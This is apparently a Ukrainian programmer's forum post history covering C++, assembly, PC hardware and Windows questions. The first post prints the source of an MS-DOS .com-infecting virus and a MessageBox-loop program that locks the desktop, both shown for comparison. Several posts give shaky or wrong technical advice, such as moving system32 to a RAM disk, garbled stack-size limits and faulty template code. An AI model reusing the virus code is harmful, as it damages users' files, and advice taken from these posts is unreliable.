1

(14 521 відповідей, залишених у Інше)

Не зрозумів, а що не так? а як же require, include, require_once и include_once в php? Чи я не зрозумів? Взагалі я кросплатформений програміст всього і вся на землі, тільки ні в чому толком не розбираюся. Але мені здається що нічого дивного немає, ну крім того що треба встановлювати якийсь API.
От в асембелері зашквар:

код тестового віруса, на сучасних компах скоріше не працює

код взято з інтернету, коментарі прибрані

code segment
* *assume cs:code,ds:code
* *org 100h
toad proc near

fisrt fly:

*mov ah,4eh

find_file:
xor cx,cx * * 
lea dx,comsig
int 21h
jc wart_growth

open_file:
mov ax,3d02h
mov dx,9eh
int 21h

eat_file:
xchg bx,ax 
mov ah,40h
mov cx,offset horny - offset first_fly
lea dx,first_fly*
int 21h

stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth:
mov ah,09h
mov dx,offset wart
int 21h

cya: int 20h

comsig db "*.com",0
wart db 'Virus$'
horny label near
toad endp
code ends
end first_fly

ви подивіться не цей код, в ньому немає жодної функції, крім функцій ms-dos
а тепер згадайте, що всі сучасні віруси пишуть на fasm, зокрема з використанням WinAPI
наведу код найпростішої програми, яка блокує роботу комп'ютера на момент її запуску до її закриття за допомогою вбиття її процесу taskkill чи деспетчером задач. після вбиття програма з якої працювали останнім разом залишається навіки заблокованою:

include 'win32ax.inc' 
.code
  start:
        invoke  MessageBox,invoke GetForegroundWindow,"0","0",0
        jmp start
.end start

це аналог програми

#include <windows.h>
int main(){while(true) MessageBox(GetForegroundWindow(), "", "", 0);return 0;}

і тепер порівняйте розміри після компіляції C++ аналога, розміри WinAPI malware і розміри MS-DOS віруса.
а також спробуйте розібратися в роботі. 2 останніх приклади - за запросто.
а перший - це зашквар!!!
але це ще не все. в мене на комп'ютері немає антивірусу. замість нього я використовую IDA Disassembler. я перевіряю таким чином підозрілі програми на наявність вірусів. це є більш дієвим, оскільки в нових базах антивірусів може не бути щойно випущених вірусів, не кажучи про старі бази. і от знайти перший вірус в  програмі розміром 2 мегабайти, якщо він десь засів посередині в якій підпрограмі - да ніколи! це зашквар. перших 2 - да запросто! за 2 хвилини. йдемо на вкладку імпорти, дивимося які функції імпортовано. якщо є GetForegroundWindow() шукаємо всі пункти де його використовують. те саме і з windows socket функціями, які блокноту аж ніяк не потрібні і накінець функціями encrypt. Якщо в імпортах це слово зустріли то програму краще не запускати.

2

(5 відповідей, залишених у C++)

adziri, ви ваабще уже? картинку без коду. кому вона потрібна?
хоча натяк зрозумілий мені а не автору теми.
https://docs.microsoft.com/uk-ua/window … -functions
хоча ваших функцій я там не знайшов на фейк схоже. ви грошей хочете??

3

(5 відповідей, залишених у Залізо)

А що в ці плати можна вставляти? AMD Ryzen версії ?, пишуть що деякі не підходять, щоб не пролетіти?

4

(0 відповідей, залишених у Windows)

Я чув що можна скачати softperfect ram disk (не реклама)
https://www.softperfect.com/download/fi … _setup.exe
це диск що знаходиться в озу в мене його швидкість 3000 мбайт за секунду що більше за ssd.
https://www.geckoandfly.com/21507/ramdi … sk-memory/
і потім в створений рам диск скопіювати папку system32 і тоді комп літати буде
як це зробити?

5

(5 відповідей, залишених у C++)

(WinAPI) Для віндовс

#include <windows.h>
int main() {system("color 42");system("pause");return 0;}

ось це робить червоний-зелений, а ось це

#include <windows.h>
int main() {system("color 42");Sleep(10000);system("color 81");system("pause");return 0;}

робить червоний-зелений, чекає 10 секунд і змінює колір на сірий-синій

6

(5 відповідей, залишених у Залізо)

Важко сказати, яку саме. На ньому має бездоганно і без затримок працювати андроїд студіо.
а також бажано unity3d, 3dsmax, compass3d, adobe photoshop.
короче кажучи то є геймерський комп а це має бути комп для створення цих ігор

7

(5 відповідей, залишених у Залізо)

Є список плат виробника Gygabyte, чіпсет b450 і сокет am4, (tr4 мені не по зубах), 64 Гб макс. озу і без Wifi:
GIGABYTE B450 AORUS ELITE
GIGABYTE B450 AORUS M
GIGABYTE B450M DS3H
GIGABYTE B450 AORUS PRO
І яку краще з них взяти?
(Задача: є біджет 15000 і треба так в нього влізти щоб купити мінімальний процесор і як можна більше Гб озу)

8

(0 відповідей, залишених у Комп'ютерні мережі)

В кого є проблема з даним оператором, прошу відписати в даній темі.
В мене особисто були розриви зв'язку, зараз вони цю проблему вже повністю прибрали.
Зараз цікавить інше питання, хоча в інтернеті активно критикують опереатора і досі.
після набору номера #777 першого разу може вискочити "хибне ім'я користувача", хоча ніякого імені інтертелеком взагалі не потребує, з другого-третього разу додзвонюється
все це зникає, якщо на антену модема прицепити шматок проволоки, інший кінець якої прицепити до 8-ки, вай-фай антени і направити на найближчу вежу за тарілками. але ж помилки повертає телеком, а не слабкий сигнал! тим паче, що я живу на відстані 1 км на відкритій місцевості до вежі.
як виникають ці помилки?

9

(14 відповідей, залишених у Розробка ігор)

Ну я вам скажу що в самому app store чи гугл плей чи xBox чи в магазині віндовс є реклама.
І от набагато зручніше створити сайт і рекламувати цей сайт в гуглі а також в вище згаданих в цьому повідомленні джерелах. Треба додавати також ігри в такі каталоги як trashbox і не треба думати про видавництво.
А взагалі, було б добре створити видавництво. Тільки хто з нас його створить, коли у нас немає грошей?

10

(10 відповідей, залишених у C++)

Так, га цей раз я згоден, це пережиток ДОС-у. Але в Borland C++ для MS-DOS ця функція все ж є. Автор теми не говорив, для якої системи він це робить. Може то він для ДОС-у робить. Може він вирішив стати чесним громадянином і зніс крякнуту віндовс, на лінуксі працювати не вміє а тому і поставив віндовс-подібний FreeDOS, а тепер хоче клепати для нього програми :) Хоча для чого йому тоді Dev-Cpp? Судячи з того, що він запитав аналог, у нього ця функція вже працювала, і скоріше на Borland C++ for MS-DOS.
А взагалі мені самому колись треба було зкомпілити таку класну стару гру під ДОС, може і йому для цього треба

11

(10 відповідей, залишених у C++)

Та вам і на англійській навести і ви видалите. В плюсах може і не всюди є, а в мові Сі така функція точно є, а автор теми не зазначав мову, розділ називається "C/C++". Програма ж Dev-Cpp підтримує як мову Сі, так і С++ і її можна переключати. Проте, я перевірив, ні в Dev-C++, ні в Visual C++ 2008, такої функції немає. Така функція є в Borland C++, для мови C++.
Якби не існуввало такої функції то в блогах би не писали як її застосовувати.
Взагалі, враження таке, що на форумі щонайменше 5 користувачів і щонайменше 1 модератор - клони.

12

(10 відповідей, залишених у C++)

Посилання видалено модератором.
існує така функція.

13

(19 відповідей, залишених у C++)

Я відійшов від теми в намаганні доказати свою правоту, винен.
А все ж цікаво, чому в ТС той код не працює? Може в нього в середовищі розмір стеку кілобайт поставлено? Чи є інша причина (іншої передбачити не можу)?
А на рахунок кіберфоруму, вони роздають мейли mail@cyberforum.ru, кращим користувачам форуму які пробули довше 3 років, ріплейс же не роздає. така адреса надається всім модераторам при їх призначенні. от добре було б мати адресу mail@replace.org.ua.

14

(19 відповідей, залишених у C++)

По-моєму це у вас тут у всіх якісь розлади точно є. Зокрема, інтелекту (розумова відсталість).
Я нормально все пояснив, що маячня те що я написав до цього, бо я забув, а тепер згадав, що не 2000 байт, а 2048 кб, тобто 2 мегабайти, а на 64-бітних системах - 4 мегабайти. щоб не ьуло сумніву я надав код, який після компіляції і запуску видає помилку про виліт програми. 5 мегабайтів - це більше, ніж 4, не писати ж мені

int main(){int size=1024*1024*4+1; char array[size]; return 0;}

написав доступно, 5 мегабайтів вже бути не може.
знайшов інформацію, розмір стеку не дозволяє зберігати великі масиви, тому вони мають бути поміщені в оперативну пам'ять (озу), для цього потрібен вказівник, який вказує на місце зберігання масиву в озу.
ось читайте
Посилання видалені модератором.


і знову виявилось, що маячня. але ж не така повна, як ви написали!
короче виявилось що оцей самий розмір стеку можна настроювати в операційній системі та в середовищі розробки.
я не можу визнати що це є маячня, оскільки в мене вже не перший раз вилітає програма без виділеної пам'яті
існує поняття, максимальний розмір масиву с++, за цим йдіть в гугл (або в *****)

15

(21 відповідей, залишених у Windows)

Не варто на харді щось вбивати, це погана ідея. тоді вже не буде ні віндовсу, ні біосу і змінити що-небудь буде складно. а та програма що для розмітки дисків, вона в завантаження просто себе додає і все. причому вона прописує себе не в біосі а на харді. якщо в біос внесли зміни, можете поставити інший хард і буде те саме.
я думаю що все ж можна розібрати і вийняти батарейку, щоправда після розбірки естетичний вигляд буде пошкоджено як мінімум на 15%. в буках спочатку відкручуються нижні кришки, якщо там батарейки немає, генеральна розбірка, треба знімати на смартфон. кщо буде генеральна розбірка, викруткою нічого робити не можна, хіба що ногтями, бо сам так не один ноут накрив

16

(19 відповідей, залишених у C++)

Маячня)))))  :D
що ж зробиш, забув.
не 2000, а 1024*1024*2, тобто 2 мегабайти, більше 2 не можна без виділення, а в 64-бітних системах по-моєму 4 мегабайти.

int main(){int size=1024*1024*5; char array[size]; return 0;}

ось це спробуйте 100% і на 64-бітній і на 32-бітній - виліт, сам тільки що перевірив

17

(7 відповідей, залишених у C++)

https://ru.wikipedia.org/wiki/Шаблоны_C++
приклад використання класу з шаблоном на основі даних вікіпедії, а на рахунок вашої задачи поки що не знаю

Прихований текст
template <typename T, typename A, typename B, typename C>
class TempClass
{
   public:
   T x;
   A y;
   B z;
   C v;
   void init(T x_in, A y_in, B z_in, C v_in) {x=x_in; y=y_in; z=z_in; v=v_in;}
};
int main()
{
TempClass <int, double, char, float> tc;
/*Тепер змінна x буде типу double, змінна y типу double, змінна z типу char і змінна v типу float; замість T, A, B, C підставляється те що вказане в скобках <>*/
tc.x=778;
tc.y=765678.87657;
tc.z='O';
tc.float=7.8;
tc.init(667, 87786.867786, 'I', 9.8);
/*до змінних в класі звертаються через крапку після змінної, точно так же як і до функцій в класі*/
return 0;
}

ще одне

template <size_t len, typename T>
class TempClass
{
   public:
   T x[len];
};
int main()
{
TempClass <100, int> tc;
for (int i=0; i<100; i++) tc.x[i]=i;
return 0;
}

ну я так по крайній мірі зрозумів з вікіпедії, щоправда, мені здалося, що там в вікі було декілька помилок в кодах.

18

(21 відповідей, залишених у Windows)

В мене так само ж було на багатьох компах, я жму f2 багато разів (з максимально можливою швидкістю) перед і під час запуску.
Якщо причина не в цьому, може і варто все ж розібрати його, на такий старий навряд чи потрібна гарантія, а батарейка може бути під кришкою озу, як от в мене на ноутбуці dell. Тобто, зняття кришки озу може зашкодити гарантії, але не компу.

Не по темі

А Linux будь-якої версії не ставити краще. Тому що це менш надійна система. То все що говорять про неї - фігня. В мене самого злітала постійно, після кожної встановленої програми :( І ресурсів бере в 2 рази більше ніж 10. Єдине, чому її використовують - це для мережі. В цьому плані вона краще захищена від зовнішнього вторгнення і краще ніж windows підходить для мережі. Від вірусів - фігня. Я сам підчепив був вірус коли встановлював не через apt-get, а практично всі корисні програми йдуть не через нього.

19

(19 відповідей, залишених у C++)

Виліт тому що більше 2000 не можна, зробіть

char S[1000];
char S1[1000];

і вильоту не буде.
і можна замість того набрати

char *S=new char[1024*64];//64kb
char *S1=new char[1024*768];

просто масив без виділеної пам'яті вилітає, якщо більше 2000 а також коли не написати new char

20

(87 відповідей, залишених у Організація роботи форуму)

доброї ночі будь-ласка виправте баг
https://replace.org.ua/post/126183/
пише 502 Bad Gateway, на це посилання переходить коли клікнути на першу тему в розділі с++, я спитав в Private Message в інших - в них те саме. оце в 17:40 вискочило повідомлення на хвилини 3 типу форум на технічному обслуговуванні, і з тих пір вискакують різні помилки, не пам'ятаю де, було ще 2 помилки десь вискочило, неможливо відвантажити зображення (скрін), може таке раніше було але я хотів відповісти в ту тему с++ а тепер не можу. і я спробував всі пости від
https://replace.org.ua/post/126100/
пише 502